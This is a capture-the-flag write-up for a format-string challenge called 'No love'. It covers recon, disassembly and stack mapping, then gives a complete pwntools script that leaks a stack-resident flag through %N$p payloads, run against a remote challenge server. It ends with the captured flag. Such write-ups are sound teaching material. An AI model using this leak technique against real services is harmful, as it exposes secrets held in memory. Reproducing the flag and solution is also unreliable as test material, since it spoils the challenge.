No love
Just a small service repeating whatever you say. Careful what you ask it to echo.
Connections
- 34.87.191.188:9009
Attachments
Recon
The handout unpacks into a directory with three files: the x86-64 binary no-love, a glibc 2.39 libc.so.6, and the matching loader ld-linux-x86-64.so.2. The binary is unstripped and still carries its original source filename fmtstr1.c. We ran it and poked it before opening any disassembler, and the poking is what told us where the bug was.
checksec over the binary:
$ checksec ./no-love
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Running the service
We unpacked the three files into a scratch directory and ran the binary through its own loader:
$ printf 'hello\n' | ./ld-linux-x86-64.so.2 --library-path . ./no-love
Your format string: hello
The prompt is Your format string:, our text comes back unchanged, and the process exits right after, so there is no loop. Every run, and therefore every remote connection, gets exactly one read and one printf.
With no flag file present the binary still echoes; the disassembly later explains why: the error branch after open compares the returned fd against -1 with jge, so the failure value -1 itself never takes it.
For the rest of testing we gave the program a dummy flag to carry, with Vietnamese characters because N0v4CTF flags are known for them:
$ cat flag.txt
NVR{dummy_l0cal_fl4g_với_tiếng_Việt_1234567890abcdefghij}
Poking the input
First poke, an oversized input:
$ python3 -c "print('A'*40)" | ./ld-linux-x86-64.so.2 --library-path . ./no-love
Your format string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Forty characters in, thirty-one back, and the last A sits flush against the shell prompt with no newline after it. The input is capped at 31 bytes.
Second poke, format specifiers:
$ printf '%p %p %p %p %p %p %p %p\n' | ./ld-linux-x86-64.so.2 --library-path . ./no-love
Your format string: 0xffffab5ffb10 0x1f (nil) 0x14 0x55555555b380 (nil) 0x3ab5fff1a 0x7025207025207025
This is no plain echo. The %p tokens expand, which means our input goes straight to printf as the format string, and the source filename fmtstr1.c matches. Two of the eight leaked values are informative. The second is 0x1f, decimal 31, the size left sitting in rdx by the 31-byte read. The eighth is 0x7025207025207025, which read little-endian is 25 70 20 25 70 20 25 70, the string %p %p %p. That is the start of our own input, so printf’s positional argument 8 points at the input buffer itself.
What the disassembly says
With the bug confirmed live, we turned to objdump -d -M intel to explain the numbers:
1278: sub rsp, 0x140 ; rsp = rbp-0x140, nothing is pushed after this
128e: mov qword ptr [rbp-0x130], 0x0 ; the input buffer and the region above it
... ; are pre-zeroed, qword by qword
1410: call open@plt ; open("./flag.txt", 0)
1451: call read@plt ; read(fd, rbp-0x110, 0x100), the flag lands at rbp-0x110
145e: call close@plt ; fd closed, no second read
146f: call printf@plt ; the prompt
147b: mov edx, 0x1f ; read(0, rbp-0x130, 31)
1488: call read@plt
1494: mov rdi, rax ; rdi = rbp-0x130, the input buffer
149c: call printf@plt ; printf(input), no format literal
The flag is read into [rbp-0x110] and stays there as plaintext for the rest of the run, 0x20 bytes above the input buffer at [rbp-0x130]. The pre-zeroing explains the clean truncation, byte 31 of the buffer is always NUL, and also the zeroed slots past the flag. Because main pushes nothing after sub rsp, 0x140, rsp still equals rbp-0x140 at the printf call.
Mapping the stack
On x86-64 System V, printf takes its first five variadic arguments from the registers rsi, rdx, rcx, r8 and r9, then reads the rest from the stack starting one slot past the return address. With rsp = rbp-0x140 at the call:
| Positional arg | Stack slot | Content |
|---|---|---|
%6$ |
[rbp-0x140] |
junk at the top of the frame |
%8$ |
[rbp-0x130] |
our input buffer |
%12$ |
[rbp-0x110] |
flag bytes 0 to 7 |
%13$ onward |
each +8 bytes | the rest of the flag, one qword per argument |
The arithmetic backs this up. The flag sits 0x30 bytes above [rbp-0x140], which is 6 qwords, and the first stack slot is argument 6, so the flag starts at argument 12. The %p poke already showed argument 8 landing on our input, which fits the same layout. Two targeted pokes confirmed the rest:
$ printf 'X marks the spot: %%8$p\n' | ./ld-linux-x86-64.so.2 --library-path . ./no-love
Your format string: X marks the spot: 0x20736b72616d2058
Read little-endian, 0x20736b72616d2058 is 58 20 6d 61 72 6b 73 20, the text X marks, the first eight bytes of what we just typed.
$ printf 'flag?: %%12$p\n' | ./ld-linux-x86-64.so.2 --library-path . ./no-love
Your format string: flag?: 0x6d6d75647b52564e
That qword is 4e 56 52 7b 64 75 6d 6d little-endian, the text NVR{dumm, the first eight bytes of the dummy flag. Argument 12 is the flag.
One more poke settled how to read it. Feeding %12$s killed the process with SIGSEGV before any echo came back, because %s treats the qword as a pointer and 0x6d6d75647b52564e is not a pointer to the flag but the flag bytes themselves, stored inline. So the working primitive is %p, dump each qword’s raw value and reassemble little-endian on our side. Since all we do is read stack memory, the canary, RELRO, NX and PIE never come into play.
Exploitation
Payload budget
The read gives 31 usable bytes and each dump token like %12$p costs five. Six tokens, %12$p%13$p%14$p%15$p%16$p%17$p, is exactly 30 bytes and covers 48 bytes per connection, with room for the Vietnamese UTF-8 flags N0v4CTF is known for (three bytes per character).
Local validation
Same setup, with the dummy flag, first window:
$ printf '%%12$p%%13$p%%14$p%%15$p%%16$p%%17$p' | ./ld-linux-x86-64.so.2 --library-path . ./no-love
Your format string: 0x6d6d75647b52564e0x5f6c6163306c5f790xbbe1765f67346c660xbfbae169745f699b0x87bbe169565f676e0x3635343332315f74
Decoded, that is bytes 0 to 47 of the dummy flag, NVR{dummy_l0cal_fl4g_với_tiếng_Việt_123456, cut mid-string at 48 as designed. The Vietnamese multibyte sequences come through as raw bytes, which is all we need since we reassemble bytes, not text.
Second window, shifted by six qwords:
$ printf '%%18$p%%19$p%%20$p%%21$p%%22$p%%23$p' | ./ld-linux-x86-64.so.2 --library-path . ./no-love
Your format string: 0x64636261303938370x7d6a6968676665(nil)(nil)(nil)(nil)
The remainder 7890abcdefghij} comes back, followed by (nil), glibc’s rendering of a NULL pointer, for the zeroed slots past the end of the flag. The decoder has to tolerate those.
Adjacent tokens come back glued together as 0x...0x..., so the decoder’s lookahead stops each match before the next 0x or any non-hex character:
toks = re.findall(rb"0x([0-9a-f]{1,16})(?=$|0x|[^0-9a-f])", data)
raw = b"".join(int(t, 16).to_bytes(8, "little") for t in toks)
The full solve script, with both the local mode and the remote mode:
#!/usr/bin/env python3
"""No love - one-shot format string leak of stack-resident flag."""
import re
import sys
from pwn import context, process, remote
context.log_level = "info"
def leak(io, payload: bytes) -> bytes:
io.send(payload) # raw send: no newline, read() returns on arrival
data = io.recvall(timeout=8)
io.close()
return data
def decode(data: bytes) -> bytes:
toks = re.findall(rb"0x([0-9a-f]{1,16})(?=$|0x|[^0-9a-f])", data)
print(f"[*] hex tokens: {[t.decode() for t in toks]}")
raw = b"".join(int(t, 16).to_bytes(8, "little") for t in toks)
return raw
def main() -> None:
mode = sys.argv[1] if len(sys.argv) > 1 else "local"
# window: six consecutive positional qwords starting at `start`
start = int(sys.argv[2]) if len(sys.argv) > 2 else 12
payload = "".join(f"%{n}$p" for n in range(start, start + 6)).encode()
assert len(payload) <= 31, payload
print(f"[*] payload ({len(payload)} bytes): {payload.decode()}")
if mode == "local":
# expects ./test with the binary, loader, libc and a flag.txt
io = process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./no-love"],
cwd="test")
else:
io = remote("34.87.191.188", 9009)
data = leak(io, payload)
print(f"[*] raw output ({len(data)} bytes): {data!r}")
raw = decode(data)
print(f"[*] decoded ({len(raw)} bytes): {raw!r}")
txt = raw.rstrip(b"\x00").decode("utf-8", errors="replace")
print(f"[+] FLAG CANDIDATE: {txt}")
if __name__ == "__main__":
main()
The payload is sent raw, without a trailing newline, because read on a socket returns as soon as data arrives and a newline would spend one of the 31 bytes.
Remote
Connection 1 against 34.87.191.188:9009, first window:
Your format string: 0x315657657b52564e0x6e3557596931575a...
(final four tokens trimmed from the transcript; they are the rest of the base64 body). The first token doubles as a decode sanity check. Read little-endian, 0x315657657b52564e is 4e 56 52 7b 65 57 56 31, the NVR{ header and the start of what looks like base64. The six tokens give 48 bytes and the last one ends mid-string with no closing brace, so the flag outgrows one window and a second connection was needed.
Connection 2, the shifted window %18$p to %23$p, printed 0xa7d, followed by (nil) for the remaining slots. Only three hex digits because glibc prints minimal digits; the full qword is 0x0000000000000a7d, little-endian 7d 0a 00 00 00 00 00 00, the closing } plus the flag file’s trailing newline. The flag is exactly 49 bytes, 48 from the first window and the final } from the second.
Flag capture
Assembling both windows and stripping the NUL padding leaves a 49-byte flag whose body is base64. Decoding the body confirmed the reconstruction independently:
$ python3 -c "import base64; print(base64.b64decode('eWV1ZW1iYW5nY2F0cmFpdGltY2hhbnRoYW5oY3VhYW5o').decode())"
yeuembangcatraitimchanthanhcuaanh
That reads as “yêu em bằng cả trái tim chân thành của anh”, a Vietnamese love note, fitting for a challenge named No love.
NVR{eWV1ZW1iYW5nY2F0cmFpdGltY2hhbnRoYW5oY3VhYW5o}